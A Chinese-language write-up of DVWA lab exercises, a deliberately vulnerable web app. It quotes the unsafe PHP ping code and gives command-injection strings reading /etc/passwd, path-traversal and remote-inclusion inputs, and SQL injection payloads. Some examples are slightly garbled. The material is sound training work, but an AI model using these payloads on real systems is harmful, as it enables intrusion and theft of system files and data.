dvwa writeup

url1:http://xiaix.me/blog/38.html

url2:http://www.atomsec.org/%E5%AE%89%E5%85%A8/dvwa-sql-injection%E4%B9%8Bsqlmap%E4%BD%BF%E7%94%A8/

DVWA(Dam vulnerable Web Application)是使用PHP+Mysql编写的一套用于常规漏洞教学和漏洞挖掘的一个测试学习程序,在此程序中包含了常见的web方面的漏洞,如命令行执行(Command Execution),CSRF、文件包含(File Inclusion)、SQL注入(SQL Injection)、SQL盲注(SQL Injection Blind)、文件上传(Upload)、反射型XSS(XSS reflected)、存储型XSS(XSS stored)。DVWA还可以设置漏洞的难度,在DVWA1.8版本中存在low,medium以及high三种级别的,在新版DVWA1.9中,则存在low、medium、high和impossible四种级别。对于想了解web安全的同学或者是有志于从事web安全方向但是对web安全不了解的同学可以利用DVWA这个参透测试演练系统提供对web安全的认识。在本文中主要是基于windows7平台下的DVWA1.8版本的讲解。

0X00 command injection

Low

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if( isset( $_POST[ 'submit' ] ) ) {

$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {

$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';

} else {

$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';

}
}
?>

从代码可以看出,代码没有对输入的IP进行任何的判断和过滤就直接使用了$_REQUEST[ip]来接受从页面传递过来的值。在此代码中使用了以下的函数。

  • php_uname():是用于返回运行PHP的操作系统的描述,和phpinfo()最顶端上输出的是同一个字符串。php_uname()函数中参数可以有多种不同的值。当参数为s时,php_uname()返回的是操作系统的名称,如FreeBSD或者是Windows NT等等。
  • shell_exec():通过shell环境变量执行命令,并且将完成的输出以字符串的方式返回。所以在本代码中,shell_exec()方法就是用来执行ping命令的。
  • 命令连接符和管道:在shell中可以使用命令连接符或者是管道的方式同时在一条语句中同时运行多个命令。
    | 管道符,将上一个命令的输出作为下一个命令的输入
    & 连接符,使用&符号时,就可以同时运行多条命令
    Linux环境下的连接符,和&作用相同
    && 逻辑与,只有在前面的命令执行成功时,后面的命令才会执行
    || 逻辑或,前面的命令如果执行成功,后面的命令则不执行

在完全没有对代码进行过滤的情况下,如果是在Linux环境下,输入

1
127.0.0.1 & /etc/passwd

那么就会造成命令执行的攻击了。

medium

源码分析

1
|| cat /etc/passwd

high
目前还无法破解

0X01 file inclusion

low/medium:
答案可以有很多

1
2
3
4
5
../../../../../../etc/passwd
../../../../../../etc/group
../../../../../../var/www/phpinfo.php

http://www.evilsite.com/evil.php

high:
限制了file为include.php,导致无法进行文件包含的漏洞

SQL Injection

low
1’ 或者使用 1 or 1=1# 同样可以,那么说明就存在sql注入漏洞

1
2
%' and '0'='0
%' or 0=0 union select null,version() #